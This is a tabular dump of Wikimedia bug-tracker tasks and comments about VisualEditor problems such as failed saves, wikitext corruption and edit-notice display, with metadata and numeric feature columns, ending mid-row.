https://bugzilla.wikimedia.org/show_bug.cgi?id=49617",Needs Triage,90.0,1375957260,1383015740.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-vemzxauwwwilvulip65t,task_description,invalid,True,c1,3,False,False,False,5,,0.0,0.5,0.0,1.5,3.0,7.0,2.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.5,0.0,6.0,8.5,0.5,1.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.0,4.0,0.0,0.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,2.5,0.0,2.0,0.0,0.0,0.5,12.5,1.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.5,3.5,7.5,0.5,2.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,0.5,8.5,1.0,0.0,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,3.9435874168179073,0.7291288566243195,"en.wp user Ruud Koot suggests that certain tools, such as underline and font colour (bug 52645) that are not normally wanted/needed in articles shouldn't be available to new editors.

Personally I think everything should be available (this avoids the need for new classes of editor permissions) but just not shown by default. What is shown/not shown by default needs to be configurable on-wiki per wiki (and possibly per namespace).

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
246454,VisualEditor: don't display all tools by default to new editors,This has been somewhat overtaken by changes to the toolbar; closing as INVALID.,,,1383015740,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vemzxauwwwilvulip65t,task_subcomment,,True,c1,3,True,,,17,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,13.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.466666666666667,1.0,This has been somewhat overtaken by changes to the toolbar; closing as INVALID.
54643,Parsoid or VisualEditor:  __NOTOC__ sometimes replaced by copy of categories,"en.wp user Ruud Koot reports that occasionally he gets "" weird, random and unexplainable corruptions of wikitext on save"" when using the VisualEditor.

The only example he gives is ""e.g., a __NOTOC__ being replaced with a copy of the categories""

Bug 48231 might have something to do with this, but I confess to not understanding all the technical language there.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1375955220,1376086189.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-ssrgubmui6ycz46f7lkd,task_description,declined,True,c1,3,False,False,True,5,,1.0,1.0,0.0,1.0,1.0,9.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,1.0,5.0,9.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,5.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,9.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,10.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,3.0,9.0,4.0,0.0,4.0,0.0,3.0,0.0,1.0,2.0,0.0,2.0,0.0,0.0,0.0,4.108695652173913,0.7065217391304348,"en.wp user Ruud Koot reports that occasionally he gets "" weird, random and unexplainable corruptions of wikitext on save"" when using the VisualEditor.

The only example he gives is ""e.g., a __NOTOC__ being replaced with a copy of the categories""

Bug 48231 might have something to do with this, but I confess to not understanding all the technical language there.

--------------------------
**Version**: unspecified
**Severity**: normal"
246295,Parsoid or VisualEditor:  __NOTOC__ sometimes replaced by copy of categories,"Never mind.  I found it here.  https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&diff=prev&oldid=567395325 .. No diffs there.  

Looks like his experiments here are at least 3 weeks old.  https://en.wikipedia.org/w/index.php?title=User:Ruud_Koot/Computer_science/Lambda_calculus&action=history

Lot of things have been fixed in the last couple weeks including instances of wikitext getting duplicated.  But 48231 is not related to this.  I am going to close this ticket for now.  We can open new bugs against specific bad diffs when we encounter them.

Thanks for your diligent work in reporting bugs!",,,1376086189,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-ssrgubmui6ycz46f7lkd,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,2.0,1.0,6.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,12.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,2.0,6.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,1.0,4.0,12.0,1.0,1.0,4.0,0.0,0.0,1.0,0.0,3.0,0.0,2.0,0.0,8.0,12.0,3.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,1.0,4.0,0.0,1.0,0.0,3.7157894736842105,0.7473684210526316,"Never mind.  I found it here.  URL .. No diffs there.  

Looks like his experiments here are at least 3 weeks old.  URL

Lot of things have been fixed in the last couple weeks including instances of wikitext getting duplicated.  But 48231 is not related to this.  I am going to close this ticket for now.  We can open new bugs against specific bad diffs when we encounter them.

Thanks for your diligent work in reporting bugs!"
246293,Parsoid or VisualEditor:  __NOTOC__ sometimes replaced by copy of categories,Can you point me to his bug report (was this on the feedback page)?  It would be easier to debug with a diff if you have easy access to one.,,,1376085510,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-ssrgubmui6ycz46f7lkd,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,17.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,20.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,14.0,17.0,0.0,3.0,0.0,0.0,14.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,3.1714285714285713,0.9142857142857143,Can you point me to his bug report (was this on the feedback page)?  It would be easier to debug with a diff if you have easy access to one.
54640,VisualEditor: saving fails silently for some large edits,"en.wp user Ruud Koot reports:

""Occasionally, after a medium-sized editing session, the visual editor will silently refuse to save my edits. When clicking the save button the progress bar appears, disappears, and you stay in editing mode, with no new revision appended to the history. Trying again sometimes resolves the problem, sometimes it requires edit operations to be done in a different order or be broken up into smaller increments, saving in-between."" 

He also asks, ""Do you keep any statistics on how often an editor presses the save button versus how many times this actually results in a new revision being saved?""

Bug 51423 might be related.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51243",Needs Triage,90.0,1375954440,1406598295.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-4hux64flsouxqgjibleh,task_description,declined,True,c1,3,False,False,False,5,,1.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,7.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.5,5.5,0.5,0.5,0.5,1.0,0.5,0.0,1.0,2.0,0.5,0.5,0.5,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,5.5,2.0,7.5,1.5,1.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,2.5,8.0,1.0,0.5,2.5,0.0,2.5,0.0,1.5,2.0,0.0,1.5,0.5,0.0,0.0,4.00625,0.7375,"en.wp user Ruud Koot reports:

""Occasionally, after a medium-sized editing session, the visual editor will silently refuse to save my edits. When clicking the save button the progress bar appears, disappears, and you stay in editing mode, with no new revision appended to the history. Trying again sometimes resolves the problem, sometimes it requires edit operations to be done in a different order or be broken up into smaller increments, saving in-between."" 

He also asks, ""Do you keep any statistics on how often an editor presses the save button versus how many times this actually results in a new revision being saved?""

Bug 51423 might be related.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
246043,VisualEditor: saving fails silently for some large edits,No subsequent reports or steps to fix; marking as WORKSFORME.,,,1406598295,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4hux64flsouxqgjibleh,task_subcomment,,True,c1,3,True,,,56,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.333333333333333,1.0,No subsequent reports or steps to fix; marking as WORKSFORME.
246037,VisualEditor: saving fails silently for some large edits,Sorry that possibly related issue is bug 51243,,,1375954749,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-4hux64flsouxqgjibleh,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.875,1.0,Sorry that possibly related issue is bug 51243
54639,VisualEditor: Bulleted bullets and bulleted headers produced; can't save,"en.wp user Ruud Koot reports:
""When performing structural editing tasks (i.e. things which are slight more complex than changing typos or adding a sentence in the middle of an existing paragraph) it is very easy to get the editor into some weird state where it is impossible to get out of other than aborting the edit session and trying again more carefully. This includes things like introducing ""bulleted headers"" and ""bulleted bullets"", which cannot possibly be represented as wikitext.""

He notes that ""Copying and pasting around text and editing pages with tables [is a] fairly reliable method"" to reproduce it.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1375953840,1425633241.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-xyg7preywhwlpczuaps6,task_description,declined,True,c1,3,False,False,False,5,,0.5,0.0,0.5,0.5,0.5,7.5,2.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,1.0,5.5,9.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,4.0,0.5,1.5,1.5,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.5,2.0,0.0,0.5,0.0,0.0,0.0,12.0,1.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.5,0.5,0.5,3.0,3.0,5.0,1.5,3.0,5.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,2.5,9.0,1.0,0.0,5.5,0.0,2.5,0.0,2.0,1.5,0.0,6.0,1.0,0.0,2.0,4.282608695652174,0.7898550724637681,"en.wp user Ruud Koot reports:
""When performing structural editing tasks (i.e. things which are slight more complex than changing typos or adding a sentence in the middle of an existing paragraph) it is very easy to get the editor into some weird state where it is impossible to get out of other than aborting the edit session and trying again more carefully. This includes things like introducing ""bulleted headers"" and ""bulleted bullets"", which cannot possibly be represented as wikitext.""

He notes that ""Copying and pasting around text and editing pages with tables [is a] fairly reliable method"" to reproduce it.

--------------------------
**Version**: unspecified
**Severity**: normal"
422069,VisualEditor: Bulleted bullets and bulleted headers produced; can't save,">>! In T54639#1091705, @Thryduulf wrote:
> I don't see a need to keep this open any longer, if something similar is reported again a more specific bug can be opened. 

Thank you for the quick reply! Sounds reasonible, closing as declined (as we cannot reproduce anymore).",,,1425633241,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-xyg7preywhwlpczuaps6,task_subcomment,,True,c1,3,True,,,87,,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,8.0,12.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.8846153846153846,0.9230769230769231,"QUOTE
QUOTE

Thank you for the quick reply! Sounds reasonible, closing as declined (as we cannot reproduce anymore)."
421325,VisualEditor: Bulleted bullets and bulleted headers produced; can't save,"I don't recall this error, and I too can't reproduce anything now using Firefox 30.  Given that it's been ~18 months since the report, it's likely this has been fixed by some other update in the meanwhile.

I don't see a need to keep this open any longer, if something similar is reported again a more specific bug can be opened. ",,,1425549798,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-xyg7preywhwlpczuaps6,task_subcomment,,True,c1,3,False,,,87,,3.0,3.0,0.0,4.0,4.0,7.0,0.0,0.0,0.0,1.0,1.0,4.0,0.0,0.0,0.0,4.0,0.0,11.0,8.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,8.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,9.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,7.0,4.0,1.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,7.0,8.0,1.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,1.0,3.0,0.0,0.0,3.6486486486486487,0.7837837837837838,"I don't recall this error, and I too can't reproduce anything now using Firefox 30.  Given that it's been ~18 months since the report, it's likely this has been fixed by some other update in the meanwhile.

I don't see a need to keep this open any longer, if something similar is reported again a more specific bug can be opened. "
420844,VisualEditor: Bulleted bullets and bulleted headers produced; can't save,"Hi @Thryduulf! Sorry that nobody has taken a look at this report yet and given feedback.

I tried copying bullets around on https://en.wikipedia.org/wiki/User:AKlapper_%28WMF%29/Sandbox?veaction=edit but could not reproduce anything weird in Firefox 36 on Fedora 21.

Are there any specific steps to reproduce these problems, or edits / diffs that could be linked to? Any specific browser involved?

Setting task status to STALLED for the time being; please reset task status once there are clearer steps to reproduce. Thanks!",,,1425487218,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-xyg7preywhwlpczuaps6,task_subcomment,,True,c1,3,True,,,87,,2.0,1.0,0.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,3.0,12.0,2.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,2.0,0.0,1.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,2.0,4.0,12.0,2.0,3.0,7.0,0.0,0.0,2.0,0.0,7.0,2.0,2.0,0.0,1.0,12.0,3.0,2.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,2.0,1.0,0.0,0.0,4.280898876404494,0.7865168539325843,"HiSCREEN_NAME! Sorry that nobody has taken a look at this report yet and given feedback.

I tried copying bullets around on URL but could not reproduce anything weird in Firefox 36 on Fedora 21.

Are there any specific steps to reproduce these problems, or edits / diffs that could be linked to? Any specific browser involved?

Setting task status to STALLED for the time being; please reset task status once there are clearer steps to reproduce. Thanks!"
54620,VisualEditor: Difficult to get a blank line when the page starts with a bulleted list,"If a page starts with a bulleted list, there's no way to put the cursor ""in front of"" the list styling.  If you want to add a non-list paragraph, you have to make a new, blank first bullet item and then remove the list formatting from the paragraph.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52032",Needs Triage,90.0,1375918560,1420846868.0,PHID-USER-uf3buojo4ceizjywvyn5,True,PHID-USER-4alekd35in5tg53zpsl4,False,PHID-TASK-gwksqe4mofbzkamj67mf,task_description,invalid,True,c1,3,False,False,False,5,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,1.0,0.0,1.0,2.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,8.0,2.0,1.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,3.3448275862068964,0.6091954022988506,"If a page starts with a bulleted list, there's no way to put the cursor ""in front of"" the list styling.  If you want to add a non-list paragraph, you have to make a new, blank first bullet item and then remove the list formatting from the paragraph.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
397685,VisualEditor: Difficult to get a blank line when the page starts with a bulleted list,"Seems to be resolved - checked on the page https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox4&oldid=575308394. 
The text is easily added on a new line before the first bullet.",,,1420846571,,PHID-USER-4alekd35in5tg53zpsl4,True,,,PHID-TASK-gwksqe4mofbzkamj67mf,task_subcomment,,True,c1,3,True,,,79,,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,16.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,8.0,12.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.56,0.92,"Seems to be resolved - checked on the page URL 
The text is easily added on a new line before the first bullet."
244952,VisualEditor: Difficult to get a blank line when the page starts with a bulleted list,"Sorry, that last line should reference bug 52032.",,,1380645177,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-gwksqe4mofbzkamj67mf,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2,1.0,"Sorry, that last line should reference bug 52032."
244948,VisualEditor: Difficult to get a blank line when the page starts with a bulleted list,"To reproduce:
1: Load a page in VE that starts with a bulleted list e.g. https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox4&oldid=575308394
2: Try to add text before the first bullet.

It is possible that fix for bug 52302 might also resolve this issue.",,,1380645144,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-gwksqe4mofbzkamj67mf,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,15.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,13.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,2.0,15.0,4.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,3.391304347826087,0.8695652173913043,"To reproduce:
1: Load a page in VE that starts with a bulleted list e.g. URL
2: Try to add text before the first bullet.

It is possible that fix for bug 52302 might also resolve this issue."
54602,VisualEditor: Edit notices don't scroll,"Today's Featured Article edit notice displayed in Firefox 22/Linux/Monobook on a 481px high window

Edit notices should scroll when they are larger than the height of the window. Presently the bottom of the message is unreadable. The screenshot attached shows en.wp's ""Today's featured article"" edit notice displayed in a 581px high window (which is what I normally use for browsing).

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51755
https://bugzilla.wikimedia.org/show_bug.cgi?id=52667

**Attached**: {F11480}",Needs Triage,90.0,1375860960,1377446690.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-i6f5p5xjfmxdo6ubzpmu,task_description,resolved,True,c1,3,False,False,True,5,,0.0,0.0,0.0,0.0,0.0,5.5,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,3.0,4.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,3.5,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,1.5,2.0,0.0,1.0,0.0,0.0,0.0,11.5,0.0,0.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,13.0,0.5,0.0,5.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,1.5,4.5,5.5,0.0,1.0,0.0,1.5,0.0,2.5,1.5,0.0,0.0,0.5,0.0,0.0,3.8375680580762253,0.677404718693285,"Today's Featured Article edit notice displayed in Firefox 22/Linux/Monobook on a 481px high window

Edit notices should scroll when they are larger than the height of the window. Presently the bottom of the message is unreadable. The screenshot attached shows en.wp's ""Today's featured article"" edit notice displayed in a 581px high window (which is what I normally use for browsing).

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL

**Attached**: {F11480}"
243723,VisualEditor: Edit notices don't scroll,"

*** This bug has been marked as a duplicate of bug 50885 ***",,,1377446690,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-i6f5p5xjfmxdo6ubzpmu,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 50885 ***"
243717,VisualEditor: Edit notices don't scroll,"A couple of users have reported this also happening with ""the notice specifically for VE"", which I presume is the beta welcome dialog. They are unable to scroll through and read it all.",,,1375951466,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-i6f5p5xjfmxdo6ubzpmu,task_subcomment,,True,c1,3,False,,,5,,3.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,3.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,11.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,13.0,3.0,0.0,5.0,0.0,8.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,4.026315789473684,0.9210526315789473,"A couple of users have reported this also happening with ""the notice specifically for VE"", which I presume is the beta welcome dialog. They are unable to scroll through and read it all."
54595,"Wikimedia editors aren't automatically enrolled in Bugzilla, reducing VE bug reporting","**Author:** `gnu`

**Description:**
The unusually buggy deployment of the VisualEditor has caused large numbers of English Wikipedia editors to have bugs to report.  But the process of reporting bugs is a cumbersome many-step process -- starting with a requirement to ""log in"" using a credential that most editors do not have.

The rest of the Wikipedia universe uses a universal login system in which you log in with the same username and password to everything, and it all works together.  Somehow Bugzilla didn't get integrated with that.

So instead anyone with a bug report for Visual Editor -- assuming they can even find Bugzilla, perhaps from a comment in an RFC about disabling the Visual Editor, as I found it -- then has to get through the ""New User"" process, which includes providing an email address, checking mail at that address, and accessing a URL which then demands that a new password be created and remembered.
This step should be avoided for logged-in Wikipedia users.

I'm sure that many, many Visual Editor bugs are noticed by editors, but are never reported due to the pain of the reporting process.  This shortage of bug reports may serve the political purposes of the WMF in attempting to ram the new editor down the throats of the community, but it is not a good management practice, nor will it result in eliminating the bugs that make the Visual Editor too troublesome for naive use at this point.

(The remaining process of bug reporting is also cumbersome and complex -- but 
in this bug report I have no suggestions on how to fix that.)

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Needs Triage,90.0,1375844100,1375847060.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ud6rksuxulevqjsfqs6h,task_description,resolved,True,c1,3,False,False,True,5,,1.0,0.5,0.0,1.0,0.75,5.25,0.75,0.0,0.0,0.0,2.5,0.5,0.0,0.0,0.0,0.75,0.5,4.5,11.25,0.5,1.5,0.25,0.0,0.0,0.5,0.75,0.25,0.0,0.5,0.25,0.0,4.25,1.5,1.0,2.25,0.25,0.0,0.25,0.5,0.25,0.25,0.25,0.0,2.75,0.25,0.0,0.0,0.25,0.25,12.75,0.5,1.5,0.0,0.25,0.0,0.0,0.25,0.25,0.5,0.5,0.25,1.0,0.0,1.0,0.25,0.5,0.0,7.5,1.75,9.25,0.75,2.75,10.75,0.0,0.0,0.0,0.0,3.25,0.0,0.0,0.0,2.5,11.25,5.5,0.0,1.0,0.0,2.5,0.0,1.5,2.75,0.0,2.75,0.0,0.25,0.0,4.0588235294117645,0.7264705882352941,"**Author:** CODE

**Description:**
